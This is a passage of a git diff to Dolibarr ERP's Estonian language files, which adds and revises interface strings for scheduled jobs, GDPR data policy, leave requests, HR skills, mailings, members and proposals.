-CronStatusActiveBtn=Schedule +CronStatusActiveBtn=Enable scheduling CronStatusInactiveBtn=Lülita välja CronTaskInactive=This job is disabled (not scheduled) CronId=ID @@ -82,10 +82,19 @@ UseMenuModuleToolsToAddCronJobs=Go into menu "Home - Admin tools - JobDisabled=Job disabled MakeLocalDatabaseDumpShort=Local database backup MakeLocalDatabaseDump=Create a local database dump. Parameters are: compression ('gz' or 'bz' or 'none'), backup type ('mysql', 'pgsql', 'auto'), 1, 'auto' or filename to build, number of backup files to keep +MakeSendLocalDatabaseDumpShort=Send local database backup +MakeSendLocalDatabaseDump=Send local database backup by email. Parameters are: to, from, subject, message, filename (Name of file sent), filter ('sql' for backup of database only) +BackupIsTooLargeSend=Sorry, last backup file is too large to be send by email +CleanUnfinishedCronjobShort=Clean unfinished cronjob +CleanUnfinishedCronjob=Clean cronjob stuck in processing when the process is no longer running WarningCronDelayed=Attention, for performance purpose, whatever is next date of execution of enabled jobs, your jobs may be delayed to a maximum of %s hours, before being run. DATAPOLICYJob=Data cleaner and anonymizer JobXMustBeEnabled=Job %s must be enabled +EmailIfError=Email for warning on error +ErrorInBatch=Error when running the job %s + # Cron Boxes LastExecutedScheduledJob=Last executed scheduled job NextScheduledJobExecute=Next scheduled job to execute NumberScheduledJobError=Number of scheduled jobs in error +NumberScheduledJobNeverFinished=Number of scheduled jobs never finished diff --git a/htdocs/langs/et_EE/datapolicy.lang b/htdocs/langs/et_EE/datapolicy.lang new file mode 100644 index 00000000000..c5967052aa6 --- /dev/null +++ b/htdocs/langs/et_EE/datapolicy.lang @@ -0,0 +1,92 @@ +# Copyright (C) 2018 Nicolas ZABOURI +# +# This program is free software: you can redistribute it and/or modify +# it under the terms of the GNU General Public License as published by +# the Free Software Foundation, either version 3 of the License, or +# (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program. If not, see . + +# Module label 'ModuledatapolicyName' +Module4100Name = Data Privacy Policy +# Module description 'ModuledatapolicyDesc' +Module4100Desc = Module to manage Data Privacy (Conformity with the GDPR) + +# +# Administration page +# +datapolicySetup = Module Data Privacy Policy Setup +Deletion = Deletion of data +datapolicySetupPage = Depending of laws of your countries (Example Article 5 of the GDPR), personal data must be kept for a period not exceeding that necessary for the purposes for which they were collected, except for archival purposes.
      The deletion will be done automatically after a certain duration without event (the duration which you will have indicated below). +NB_MONTHS = %s months +ONE_YEAR = 1 year +NB_YEARS = %s years +DATAPOLICY_TIERS_CLIENT = Klient +DATAPOLICY_TIERS_PROSPECT = Huviline +DATAPOLICY_TIERS_PROSPECT_CLIENT = Prospect/Customer +DATAPOLICY_TIERS_NIPROSPECT_NICLIENT = Nor prospect/Nor customer +DATAPOLICY_TIERS_FOURNISSEUR = Hankija +DATAPOLICY_CONTACT_CLIENT = Klient +DATAPOLICY_CONTACT_PROSPECT = Huviline +DATAPOLICY_CONTACT_PROSPECT_CLIENT = Prospect/Customer +DATAPOLICY_CONTACT_NIPROSPECT_NICLIENT = Nor prospect/Nor customer +DATAPOLICY_CONTACT_FOURNISSEUR = Hankija +DATAPOLICY_ADHERENT = Liige +DATAPOLICY_Tooltip_SETUP = Type of contact - Indicate your choices for each type. +DATAPOLICYMail = Emails Setup +DATAPOLICYSUBJECTMAIL = Subject of email +DATAPOLICYCONTENTMAIL = Content of the email +DATAPOLICYSUBSITUTION = You can use the following variables in your email (LINKACCEPT allows to create a link recording the agreement of the person, LINKREFUSED makes it possible to record the refusal of the person): +DATAPOLICYACCEPT = Message after agreement +DATAPOLICYREFUSE = Message after desagreement +SendAgreementText = You can send a GDPR email to all your relevant contacts (who have not yet received an email and for which you have not registered anything about their GDPR agreement). To do this, use the following button. +SendAgreement = Send emails +AllAgreementSend = All emails have been sent +TXTLINKDATAPOLICYACCEPT = Text for the link "agreement" +TXTLINKDATAPOLICYREFUSE = Text for the link "desagreement" + + +# +# Extrafields +# +DATAPOLICY_BLOCKCHECKBOX = GDPR : Processing of personal data +DATAPOLICY_consentement = Consent obtained for the processing of personal data +DATAPOLICY_opposition_traitement = Opposes the processing of his personal data +DATAPOLICY_opposition_prospection = Opposes the processing of his personal data for the purposes of prospecting + +# +# Popup +# +DATAPOLICY_POPUP_ANONYME_TITLE = Anonymize a thirdparty +DATAPOLICY_POPUP_ANONYME_TEXTE = You can not delete this contact from Dolibarr because there are related items. In accordance with the GDPR, you will make all this data anonymous to respect your obligations. Would you like to continue ? + +# +# Button for portability +# +DATAPOLICY_PORTABILITE = Portability GDPR +DATAPOLICY_PORTABILITE_TITLE = Export of personal data +DATAPOLICY_PORTABILITE_CONFIRMATION = You want to export the personal data of this contact. Are you sure ? + +# +# Notes added during an anonymization +# +ANONYMISER_AT = Anonymised the %s + +# V2 +DATAPOLICYReturn = GDPR Validation +DATAPOLICY_date = Date of agreement/desagreement GDPR +DATAPOLICY_send = Date sending agreement email +DATAPOLICYReturn = GDPR Validation +DATAPOLICY_SEND = Send GDPR email +MailSent = Email has been sent + +# ERROR +ErrorSubjectIsRequired = Error : The subject of email is required. Indicate it in the module setup +=Due to a technical problem, we were unable to register your choice. We apologize for that. Contact us to send us your choice. +NUMBER_MONTH_BEFORE_DELETION = Number of month before deletion diff --git a/htdocs/langs/et_EE/dict.lang b/htdocs/langs/et_EE/dict.lang index 0e7e96d0450..962d31bf5cb 100644 --- a/htdocs/langs/et_EE/dict.lang +++ b/htdocs/langs/et_EE/dict.lang @@ -21,7 +21,7 @@ CountryNL=Madalmaad CountryHU=Ungari CountryRU=Venemaa CountrySE=Rootsi -CountryCI=Elevandiluurannik +CountryCI=Ivory Coast CountrySN=Senegal CountryAR=Argentiina CountryCM=Kamerun @@ -250,7 +250,9 @@ CountryMF=Saint Martin ##### Civilities ##### CivilityMME=Pr +CivilityMMEShort=Pr CivilityMR=Hr +CivilityMRShort=Hr CivilityMLE=Prl CivilityMTRE=Master CivilityDR=Dr diff --git a/htdocs/langs/et_EE/ecm.lang b/htdocs/langs/et_EE/ecm.lang index 00037bd3ede..eb0204161b6 100644 --- a/htdocs/langs/et_EE/ecm.lang +++ b/htdocs/langs/et_EE/ecm.lang @@ -5,6 +5,7 @@ ECMSectionManual=Kaust käsitsi ECMSectionAuto=Kaust automaatselt ECMSectionsManual=Puu käsitsi ECMSectionsAuto=Puu automaatselt +ECMSectionsMedias=Medias tree ECMSections=Kaustad ECMRoot=ECM Root ECMNewSection=Uus kaust @@ -16,7 +17,9 @@ ECMNbOfFilesInSubDir=Faile alamkaustades ECMCreationUser=Looja ECMArea=DMS/ECM area ECMAreaDesc=The DMS/ECM (Document Management System / Electronic Content Management) area allows you to save, share and search quickly all kind of documents in Dolibarr. -ECMAreaDesc2=* Kaustad täidetakse automaatselt dokumentide lisamisel elemendi kaardilt.
      * Käsitsi kaustasid saab kasutada ühegi elemendita sidumata dokumentide salvestamiseks. +ECMAreaDesc2a=* Manual directories can be used to save documents not linked to a particular element. +ECMAreaDesc2b=* Automatic directories are filled automatically when adding documents from the page of an element. +ECMAreaDesc3=* Medias directories are files into the subdirectory /medias of documents directory, readable by everybody with no need to be logged and no need to have the file shared explicitely. It is used to store image files from emailing or website module. ECMSectionWasRemoved=Kaust %s on kustutatud. ECMSectionWasCreated=Directory %s has been created. ECMSearchByKeywords=Otsi märksõnade järgi diff --git a/htdocs/langs/et_EE/holiday.lang b/htdocs/langs/et_EE/holiday.lang index 275d093c939..556389c89e4 100644 --- a/htdocs/langs/et_EE/holiday.lang +++ b/htdocs/langs/et_EE/holiday.lang @@ -1,9 +1,11 @@ # Dolibarr language file - Source file is en_US - holiday HRM=Personalihaldus -Holidays=Leave +Holidays=Leaves +Holiday=Leave CPTitreMenu=Leave MenuReportMonth=Kuu aruanne MenuAddCP=New leave request +MenuCollectiveAddCP=New collective leave request NotActiveModCP=You must enable the module Leave to view this page. AddCP=Make a leave request DateDebCP=Alguskuupäev @@ -56,6 +58,7 @@ ConfirmDeleteCP=Confirm the deletion of this leave request? ErrorCantDeleteCP=Error you don't have the right to delete this leave request. CantCreateCP=You don't have the right to make leave requests. InvalidValidatorCP=You must choose the approver for your leave request. +InvalidValidator=The user chosen isn't an approver. NoDateDebut=Pead valima alguskuupäeva. NoDateFin=Pead valima lõppkuupäeva. ErrorDureeCP=Your leave request does not contain working day. @@ -79,6 +82,8 @@ MotifCP=Põhjus UserCP=Kasutaja ErrorAddEventToUserCP=Erakorralise puhkuse lisamisel tekkis viga AddEventToUserOkCP=Erakorralise puhkuse lisamine edukalt lõpetatud. +ErrorFieldRequiredUserOrGroup=The "group" field or the "user" field must be filled in +fusionGroupsUsers=The groups field and the user field will be merged MenuLogCP=View change logs LogCP=Log of all updates made to "Balance of Leave" ActionByCP=Updated by @@ -86,6 +91,13 @@ UserUpdateCP=Updated for PrevSoldeCP=Eelmine saldo NewSoldeCP=Uus saldo alreadyCPexist=A leave request has already been done on this period. +UseralreadyCPexist=A leave request has already been done on this period for %s. +groups=Rühmad +users=Kasutajad +AutoSendMail=Automatic mailing +NewHolidayForGroup=New collective leave request +SendRequestCollectiveCP=Send collective leave request +AutoValidationOnCreate=Automatic validation FirstDayOfHoliday=Beginning day of leave request LastDayOfHoliday=Ending day of leave request BoxTitleLastLeaveRequests=Latest %s modified leave requests @@ -137,3 +149,10 @@ XIsAUsualNonWorkingDay=%s is usualy a NON working day BlockHolidayIfNegative=Block if balance negative LeaveRequestCreationBlockedBecauseBalanceIsNegative=The creation of this leave request is blocked because your balance is negative ErrorLeaveRequestMustBeDraftCanceledOrRefusedToBeDeleted=Leave request %s must be draft, canceled or refused to be deleted +IncreaseHolidays=Increase holiday +HolidayRecordsIncreased= %s holiday records increased +HolidayRecordIncreased=Holiday record increased +ConfirmMassIncreaseHoliday=Bulk holiday increase +NumberDayAddMass=Number of day to add to the selection +ConfirmMassIncreaseHolidayQuestion=Are you sure you want to increase holiday of the %s selected record(s)? +HolidayQtyNotModified=Balance of remaining days for %s has not been changed diff --git a/htdocs/langs/et_EE/hrm.lang b/htdocs/langs/et_EE/hrm.lang index ffa6f2c2202..741dd2e9e3b 100644 --- a/htdocs/langs/et_EE/hrm.lang +++ b/htdocs/langs/et_EE/hrm.lang @@ -12,7 +12,7 @@ OpenEtablishment=Open establishment CloseEtablishment=Close establishment # Dictionary DictionaryPublicHolidays=Leave - Public holidays -DictionaryDepartment=HRM - Department list +DictionaryDepartment=HRM - Organizational Unit DictionaryFunction=HRM - Job positions # Module Employees=Töötajad @@ -20,13 +20,14 @@ Employee=Töötaja NewEmployee=New employee ListOfEmployees=List of employees HrmSetup=HRM module setup -HRM_MAXRANK=Maximum rank for a skill +SkillsManagement=Skills management +HRM_MAXRANK=Maximum number of levels to rank a skill HRM_DEFAULT_SKILL_DESCRIPTION=Default description of ranks when skill is created deplacement=Shift DateEval=Evaluation date JobCard=Job card -Job=Tegevus -Jobs=Jobs +JobPosition=Job profile +JobsPosition=Job profiles NewSkill=New Skill SkillType=Skill type Skilldets=List of ranks for this skill @@ -47,9 +48,8 @@ ConfirmValidateEvaluation=Are you sure you want to validate this evaluation with EvaluationCard=Evaluation card RequiredRank=Required rank for this job EmployeeRank=Employee rank for this skill -Position=Ametikoht -Positions=Positions -PositionCard=Position card +EmployeePosition=Employee position +EmployeePositions=Employee positions EmployeesInThisPosition=Employees in this position group1ToCompare=Usergroup to analyze group2ToCompare=Second usergroup for comparison @@ -70,12 +70,23 @@ RequiredSkills=Required skills for this job UserRank=User Rank SkillList=Skill list SaveRank=Save rank -knowHow=Know how -HowToBe=How to be -knowledge=Knowledge +TypeKnowHow=Know how +TypeHowToBe=How to be +TypeKnowledge=Knowledge AbandonmentComment=Abandonment comment DateLastEval=Date last evaluation NoEval=No evaluation done for this employee HowManyUserWithThisMaxNote=Number of users with this rank HighestRank=Highest rank SkillComparison=Skill comparison +ActionsOnJob=Events on this job +VacantPosition=job vacancy +VacantCheckboxHelper=Checking this option will show unfilled positions (job vacancy) +SaveAddSkill = Skill(s) added +SaveLevelSkill = Skill(s) level saved +DeleteSkill = Skill removed +SkillsExtraFields=Attributs supplémentaires (Compétences) +JobsExtraFields=Attributs supplémentaires (Emplois) +EvaluationsExtraFields=Attributs supplémentaires (Evaluations) +NeedBusinessTravels=Need business travels +NoDescription=No description diff --git a/htdocs/langs/et_EE/mailmanspip.lang b/htdocs/langs/et_EE/mailmanspip.lang index 28db7439f56..b2fb1196703 100644 --- a/htdocs/langs/et_EE/mailmanspip.lang +++ b/htdocs/langs/et_EE/mailmanspip.lang @@ -7,7 +7,7 @@ MailmanCreationSuccess=Subscription test was executed successfully MailmanDeletionSuccess=Unsubscription test was executed successfully SynchroMailManEnabled=Mailmani uuendus käivitatakse SynchroSpipEnabled=SPIP uuendus käivitatakse -DescADHERENT_MAILMAN_ADMINPW=Mailmani administraatori parool +DescADHERENT_MAILMAN_ADMIN_PASSWORD=Mailmani administraatori parool DescADHERENT_MAILMAN_URL=Mailmani tellimiste URL DescADHERENT_MAILMAN_UNSUB_URL=Mailmani tellimiste tühistamise URL DescADHERENT_MAILMAN_LISTS=List(id), kuhu uued liikmed automaatselt lisatakse (komaga eraldatult) diff --git a/htdocs/langs/et_EE/mails.lang b/htdocs/langs/et_EE/mails.lang index f0a67fe8cea..f2d5d0f39b3 100644 --- a/htdocs/langs/et_EE/mails.lang +++ b/htdocs/langs/et_EE/mails.lang @@ -7,10 +7,10 @@ MailCard=E-postitamise kaart MailRecipients=Saajad MailRecipient=Saaja MailTitle=Kirjeldus -MailFrom=Saatja +MailFrom=Kellelt MailErrorsTo=Vead aadressile MailReply=Vasta -MailTo=Vastuvõtja(d) +MailTo=Kellele MailToUsers=To user(s) MailCC=Koopia MailToCCUsers=Copy to users(s) @@ -91,7 +91,7 @@ MailingModuleDescContactsByFunction=Contacts by position MailingModuleDescEmailsFromFile=Emails from file MailingModuleDescEmailsFromUser=Emails input by user MailingModuleDescDolibarrUsers=Users with Emails -MailingModuleDescThirdPartiesByCategories=Third parties (by categories) +MailingModuleDescThirdPartiesByCategories=Kolmandad isikud SendingFromWebInterfaceIsNotAllowed=Sending from web interface is not allowed. EmailCollectorFilterDesc=All filters must match to have an email being collected @@ -178,3 +178,5 @@ IsAnAnswer=Is an answer of an initial email RecordCreatedByEmailCollector=Record created by the Email Collector %s from email %s DefaultBlacklistMailingStatus=Default value for field '%s' when creating a new contact DefaultStatusEmptyMandatory=Empty but mandatory +WarningLimitSendByDay=WARNING: The setup or contract of your instance limits your number of emails per day to %s. Trying to send more may result in having your instance slow down or suspended. Please contact your support if you need a higher quota. +NoMoreRecipientToSendTo=No more recipient to send the email to diff --git a/htdocs/langs/et_EE/main.lang b/htdocs/langs/et_EE/main.lang index 2f646ccbe3d..72abffe2433 100644 --- a/htdocs/langs/et_EE/main.lang +++ b/htdocs/langs/et_EE/main.lang @@ -1,9 +1,15 @@ # Dolibarr language file - Source file is en_US - main DIRECTION=ltr +# Default for FONTFORPDF=helvetica # Note for Chinese: -# msungstdlight or cid0ct are for traditional Chinese (traditional does not render with Ubuntu pdf reader) -# stsongstdlight or cid0cs are for simplified Chinese +# msungstdlight or cid0ct are for traditional Chinese zh_TW (traditional does not render with Ubuntu pdf reader) +# stsongstdlight or cid0cs are for simplified Chinese zh_CN # To read Chinese pdf with Linux: sudo apt-get install poppler-data +# cid0jp is for Japanish +# cid0kr is for Korean +# DejaVuSans is for some Eastern languages, some Asian languages and some Arabic languages +# freemono is for ru_RU or uk_UA, uz_UZ +# freeserif is for Tamil FONTFORPDF=helvetica FONTSIZEFORPDF=10 SeparatorDecimal=, @@ -28,6 +34,7 @@ NoTemplateDefined=No template available for this email type AvailableVariables=Available substitution variables NoTranslation=Tõlge puudub Translation=Tõlge +Translations=Translations CurrentTimeZone=PHP ajavöönd (serveri ajavöönd) EmptySearchString=Enter non empty search criterias EnterADateCriteria=Enter a date criteria @@ -199,6 +206,7 @@ Valid=Kehtiv Approve=Kiida heaks Disapprove=Lükka tagasi ReOpen=Ava uuesti +OpenVerb=Avatud Upload=Upload ToLink=Seosta Select=Vali @@ -216,7 +224,7 @@ UserGroup=User group UserGroups=User groups NoUserGroupDefined=Ühtki kasutajate gruppi pole määratletud Password=Parool -PasswordRetype=Korda parooli +PasswordRetype=Repeat your password NoteSomeFeaturesAreDisabled=Pane tähele, et palju mooduleid ja funktsioone on demoversioonis keelatud. Name=Nimi NameSlashCompany=Name / Company @@ -244,6 +252,7 @@ Designation=Kirjeldus DescriptionOfLine=Rea kirjeldus DateOfLine=Date of line DurationOfLine=Duration of line +ParentLine=Parent line ID Model=Doc template DefaultModel=Default doc template Action=Tegevus @@ -344,7 +353,7 @@ KiloBytes=Kilobaiti MegaBytes=Megabaiti GigaBytes=Gigabaiti TeraBytes=Terabaiti -UserAuthor=Ceated by +UserAuthor=Created by UserModif=Updated by b=b Kb=Kb @@ -480,6 +489,7 @@ ActionsOnContact=Events for this contact/address ActionsOnContract=Events for this contract ActionsOnMember=Selle liikmega seotud tegevused ActionsOnProduct=Events about this product +ActionsOnAsset=Events for this fixed asset NActionsLate=%s hiljaks jäänud ToDo=Teha Completed=Completed @@ -517,6 +527,7 @@ or=või Other=Muu Others=Teised OtherInformations=Other information +Workflow=Töövoog Quantity=Kogus Qty=Kogus ChangedBy=Muutis @@ -619,6 +630,7 @@ MonthVeryShort11=N MonthVeryShort12=D AttachedFiles=Manustatud failid ja dokumendid JoinMainDoc=Join main document +JoinMainDocOrLastGenerated=Send the main document or the last generated one if not found DateFormatYYYYMM=YYYY-MM DateFormatYYYYMMDD=YYYY-MM-DD DateFormatYYYYMMDDHHMM=YYYY-MM-DD HH:SS @@ -709,6 +721,7 @@ FeatureDisabled=Funktsioon välja lülitatud MoveBox=Move widget Offered=Pakutud NotEnoughPermissions=Selle tegevuse sooritamiseks puuduvad õigused +UserNotInHierachy=This action is reserved to the supervisors of this user SessionName=Sessiooni nimi Method=Meetod Receive=Võta vastu @@ -798,6 +811,7 @@ URLPhoto=Foto/logo URL SetLinkToAnotherThirdParty=Seosta muu kolmanda isikuga LinkTo=Link to LinkToProposal=Link to proposal +LinkToExpedition= Link to expedition LinkToOrder=Viide tellimusele LinkToInvoice=Link to invoice LinkToTemplateInvoice=Link to template invoice @@ -916,6 +930,7 @@ DirectDownloadInternalLink=Private download link PrivateDownloadLinkDesc=You need to be logged and you need permissions to view or download the file Download=Download DownloadDocument=Download document +DownloadSignedDocument=Download signed document ActualizeCurrency=Update currency rate Fiscalyear=Majandusaasta ModuleBuilder=Module and Application Builder @@ -1041,6 +1056,7 @@ SearchIntoContracts=Lepingud SearchIntoCustomerShipments=Customer shipments SearchIntoExpenseReports=Expense reports SearchIntoLeaves=Leave +SearchIntoKM=Knowledge base SearchIntoTickets=Tickets SearchIntoCustomerPayments=Customer payments SearchIntoVendorPayments=Tarnija maksed @@ -1132,15 +1148,29 @@ EventReminder=Event Reminder UpdateForAllLines=Update for all lines OnHold=On hold Civility=Civility -AffectTag=Affect Tag +AffectTag=Assign Tag +AffectUser=Assign User +SetSupervisor=Set Supervisor CreateExternalUser=Create external user -ConfirmAffectTag=Bulk Tag Affect -ConfirmAffectTagQuestion=Are you sure you want to affect tags to the %s selected record(s)? +ConfirmAffectTag=Bulk Tag Assignement +ConfirmAffectUser=Bulk User Assignement +ProjectRole=Role assigned on each project +TasksRole=Role assigned on each task of each project +ConfirmSetSupervisor=Bulk Supervisor Set +ConfirmUpdatePrice=Choose a increase/decrease price rate +ConfirmAffectTagQuestion=Are you sure you want to assign tags to the %s selected record(s)? +ConfirmAffectUserQuestion=Are you sure you want to assign users to the %s selected record(s)? +ConfirmSetSupervisorQuestion=Are you sure you want to set supervisor to the %s selected record(s)? +ConfirmUpdatePriceQuestion=Are you sure you want to update the price of the %s selected record(s)? CategTypeNotFound=No tag type found for type of records +Rate=Määr +SupervisorNotFound=Supervisor not found CopiedToClipboard=Copied to clipboard InformationOnLinkToContract=This amount is only the total of all the lines of the contract. No notion of time is taken into consideration. ConfirmCancel=Are you sure you want to cancel EmailMsgID=Email MsgID +EmailDate=Email date +SetToStatus=Set to status %s SetToEnabled=Set to enabled SetToDisabled=Set to disabled ConfirmMassEnabling=mass enabling confirmation @@ -1164,3 +1194,19 @@ NotClosedYet=Not yet closed ClearSignature=Reset signature CanceledHidden=Canceled hidden CanceledShown=Canceled shown +Terminate=Terminate +Terminated=Terminated +AddLineOnPosition=Add line on position (at the end if empty) +ConfirmAllocateCommercial=Assign sales representative confirmation +ConfirmAllocateCommercialQuestion=Are you sure you want to assign the %s selected record(s)? +CommercialsAffected=Sales representatives assigned +CommercialAffected=Sales representative assigned +YourMessage=Your message +YourMessageHasBeenReceived=Your message has been received. We will answer or contact you as soon as possible. +UrlToCheck=Url to check +Automation=Automation +CreatedByEmailCollector=Created by Email collector +CreatedByPublicPortal=Created from Public portal +UserAgent=User Agent +InternalUser=Sisemine kasutaja +ExternalUser=Väline kasutaja diff --git a/htdocs/langs/et_EE/members.lang b/htdocs/langs/et_EE/members.lang index 323d0be26cf..8ca0208be81 100644 --- a/htdocs/langs/et_EE/members.lang +++ b/htdocs/langs/et_EE/members.lang @@ -15,6 +15,7 @@ ErrorMemberIsAlreadyLinkedToThisThirdParty=Mõni muu liige (nimi: %s, kas ErrorUserPermissionAllowsToLinksToItselfOnly=Turvalisuse huvides peavad sul olema õigused muuta kõiki kasutajaid enne seda, kui oled võimeline liiget siduma kasutajaga, kes ei ole sina. SetLinkToUser=Seosta Dolibarri kasutajaga SetLinkToThirdParty=Seosta Dolibarri kolmanda isikuga +MemberCountersArePublic=Counters of valid members are public MembersCards=Generation of cards for members MembersList=Liikmete nimekiri MembersListToValid=Mustandi staatuses olevate liikmete nimekiri (vajab kinnitamist) @@ -34,7 +35,8 @@ DateSubscription=Date of membership DateEndSubscription=End date of membership EndSubscription=End of membership SubscriptionId=Contribution ID -WithoutSubscription=Without contribution +WithoutSubscription=Without membership +WaitingSubscription=Membership pending MemberId=Member Id MemberRef=Member Ref NewMember=Uus liige @@ -72,6 +74,12 @@ MemberTypeCanNotBeDeleted=Member type can not be deleted NewSubscription=Uus annetus NewSubscriptionDesc=See vorm võimaldab ühenduse liikmena registreerida liikmemaksu. Oma liikmemaksu värskendamiseks (kui oled juba liige) võta selle vormi kasutamise asemel ühendust sihtasutuse juhatusega e-posti aadressil %s . Subscription=Contribution +AnyAmountWithAdvisedAmount=Any amount of your choice, recommended %s +AnyAmountWithoutAdvisedAmount=Any amount of your choice +CanEditAmountShort=Any amount +CanEditAmountShortForValues=recommended, any amount +MembershipDuration=Kestus +GetMembershipButtonLabel=Join Subscriptions=Contributions SubscriptionLate=Hilinenud SubscriptionNotReceived=Contribution never received @@ -136,7 +144,7 @@ CardContent=Sinu liikmekaardi sisu # Text of email templates ThisIsContentOfYourMembershipRequestWasReceived=We want to let you know that your membership request was received.

      ThisIsContentOfYourMembershipWasValidated=We want to let you know that your membership was validated with the following information:

      -ThisIsContentOfYourSubscriptionWasRecorded=We want to let you know that your new subscription was recorded.

      +ThisIsContentOfYourSubscriptionWasRecorded=We want to let you know that your new subscription was recorded. Please find your invoice here enclosed.

      ThisIsContentOfSubscriptionReminderEmail=We want to let you know that your subscription is about to expire or has already expired (__MEMBER_LAST_SUBSCRIPTION_DATE_END__). We hope you will renew it.

      ThisIsContentOfYourCard=This is a summary of the information we have about you. Please contact us if anything is incorrect.

      DescADHERENT_AUTOREGISTER_NOTIF_MAIL_SUBJECT=Subject of the notification email received in case of auto-inscription of a guest @@ -199,8 +207,10 @@ NbOfSubscriptions=Number of contributions AmountOfSubscriptions=Amount collected from contributions TurnoverOrBudget=Käive (ettevõttel) või eelarve maht (ühendusel) DefaultAmount=Default amount of contribution -CanEditAmount=Visitor can choose/edit amount of its contribution -MEMBER_NEWFORM_PAYONLINE=Hüppa integreeritud online-makse lehele +CanEditAmount=Subscription amount is free +CanEditAmountDetail=Visitor can choose/edit amount of its contribution regardless of the member type +AmountIsLowerToMinimumNotice=sur un dû total de %s +MEMBER_NEWFORM_PAYONLINE=After the online registration, switch automatically on the online payment page ByProperties=By nature MembersStatisticsByProperties=Members statistics by nature VATToUseForSubscriptions=VAT rate to use for contributionss @@ -221,3 +231,4 @@ CreateDolibarrLoginDesc=The creation of a user login for members allows them to CreateDolibarrThirdPartyDesc=A thirdparty is the legal entity that will be used on the invoice if you decide to generate invoice for each contribution. You will be able to create it later during the process of recording the contribution. MemberFirstname=Member firstname MemberLastname=Member lastname +MemberCodeDesc=Member Code, unique for all members diff --git a/htdocs/langs/et_EE/other.lang b/htdocs/langs/et_EE/other.lang index 834accf173e..d221fd63195 100644 --- a/htdocs/langs/et_EE/other.lang +++ b/htdocs/langs/et_EE/other.lang @@ -46,7 +46,9 @@ Notify_ORDER_SUPPLIER_APPROVE=Purchase order approved Notify_ORDER_SUPPLIER_REFUSE=Purchase order refused Notify_PROPAL_VALIDATE=Müügipakkumine kinnitatud Notify_PROPAL_CLOSE_SIGNED=Customer proposal closed signed +Notify_PROPAL_CLOSE_SIGNED_WEB=Customer proposal closed signed on portal page Notify_PROPAL_CLOSE_REFUSED=Customer proposal closed refused +Notify_PROPAL_CLOSE_REFUSED_WEB=Customer proposal closed refused on portal page Notify_PROPAL_SENTBYMAIL=Müügipakkumine saadetud postiga Notify_WITHDRAW_TRANSMIT=Tehingu väljamakse Notify_WITHDRAW_CREDIT=Krediidi väljamakse @@ -181,6 +183,7 @@ SizeUnitfoot=jalg SizeUnitpoint=punkt BugTracker=Bug tracker SendNewPasswordDesc=This form allows you to request a new password. It will be sent to your email address.
      Change will become effective once you click on the confirmation link in the email.
      Check your inbox. +EnterNewPasswordHere=Enter your new password here BackToLoginPage=Tagasi sisselogimise lehele AuthenticationDoesNotAllowSendNewPassword=Autentimisrežiim on hetkel %s.
      Selles režiimis ei tea Dolibarri sinu parooli ja ei ole ka võimeline seda muutma.
      Parooli muutmiseks võta ühendust oma süsteemiadministraatoriga. EnableGDLibraryDesc=Install or enable GD library on your PHP installation to use this option. @@ -210,6 +213,9 @@ EMailTextInvoiceValidated=Invoice %s has been validated. EMailTextInvoicePayed=Invoice %s has been paid. EMailTextProposalValidated=Proposal %s has been validated. EMailTextProposalClosedSigned=Proposal %s has been closed signed. +EMailTextProposalClosedSignedWeb=Proposal %s has been closed signed on portal page. +EMailTextProposalClosedRefused=Proposal %s has been closed refused. +EMailTextProposalClosedRefusedWeb=Proposal %s has been closed refuse on portal page. EMailTextOrderValidated=Order %s has been validated. EMailTextOrderApproved=Order %s has been approved. EMailTextOrderValidatedBy=Order %s has been recorded by %s. @@ -304,3 +310,30 @@ ConfirmBtnCommonContent = Are you sure you want to "%s" ? ConfirmBtnCommonTitle = Confirm your action CloseDialog = Sulge Autofill = Autofill + +# externalsite +ExternalSiteSetup=Seadista link välisele lehele +ExternalSiteURL=External Site URL of HTML iframe content +ExternalSiteModuleNotComplete=ExternalSite moodul ei ole õigesti seadistatud. +ExampleMyMenuEntry=My menu entry + +# ftp +FTPClientSetup=FTP or SFTP Client module setup +NewFTPClient=New FTP/SFTP connection setup +FTPArea=FTP/SFTP Area +FTPAreaDesc=This screen shows a view of an FTP et SFTP server. +SetupOfFTPClientModuleNotComplete=The setup of the FTP or SFTP client module seems to be incomplete +FTPFeatureNotSupportedByYourPHP=Your PHP does not support FTP or SFTP functions +FailedToConnectToFTPServer=Failed to connect to server (server %s, port %s) +FailedToConnectToFTPServerWithCredentials=Failed to login to server with defined login/password +FTPFailedToRemoveFile=Faili %s kustutamine ebaõnnestus. +FTPFailedToRemoveDir=Failed to remove directory %s: check permissions and that the directory is empty. +FTPPassiveMode=Passiivne režiim +ChooseAFTPEntryIntoMenu=Choose a FTP/SFTP site from the menu... +FailedToGetFile=Failed to get files %s +ErrorFTPNodisconnect=Error to disconnect FTP/SFTP server +FileWasUpload=File %s was uploaded +FTPFailedToUploadFile=Failed to upload the file %s. +AddFolder=Create folder +FileWasCreateFolder=Folder %s has been created +FTPFailedToCreateFolder=Failed to create folder %s. diff --git a/htdocs/langs/et_EE/propal.lang b/htdocs/langs/et_EE/propal.lang index e7daaf5386e..9d4d9dcd7fb 100644 --- a/htdocs/langs/et_EE/propal.lang +++ b/htdocs/langs/et_EE/propal.lang @@ -54,6 +54,7 @@ NoDraftProposals=Pakkumise mustandeid ei ole CopyPropalFrom=Loo pakkumine olemasoleva pakkumise kopeerimise teel CreateEmptyPropal=Create empty commercial proposal or from list of products/services DefaultProposalDurationValidity=Pakkumise kehtivus vaikimisi (päevades) +DefaultPuttingPricesUpToDate=By default update prices with current known prices on cloning a proposal UseCustomerContactAsPropalRecipientIfExist=Use contact/address with type 'Contact following-up proposal' if defined instead of third party address as proposal recipient address ConfirmClonePropal=Are you sure you want to clone the commercial proposal %s? ConfirmReOpenProp=Are you sure you want to open back the commercial proposal %s? @@ -64,36 +65,54 @@ AvailabilityPeriod=Saadavuse viivitus SetAvailability=Määratle saadavuse viivitus AfterOrder=pärast tellimist OtherProposals=Muud pakkumised + ##### Availability ##### AvailabilityTypeAV_NOW=Kohe AvailabilityTypeAV_1W=1 näda AvailabilityTypeAV_2W=2 nädalat AvailabilityTypeAV_3W=3 nädalat AvailabilityTypeAV_1M=1 kuu -##### Types de contacts ##### + +##### Types ofe contacts ##### TypeContact_propal_internal_SALESREPFOLL=Pakkumise järelkajaga tegelev müügiesindaja TypeContact_propal_external_BILLING=Müügiarve kontakt TypeContact_propal_external_CUSTOMER=Kliendi kontakt pakkumise järelkaja jaoks TypeContact_propal_external_SHIPPING=Customer contact for delivery + # Document models 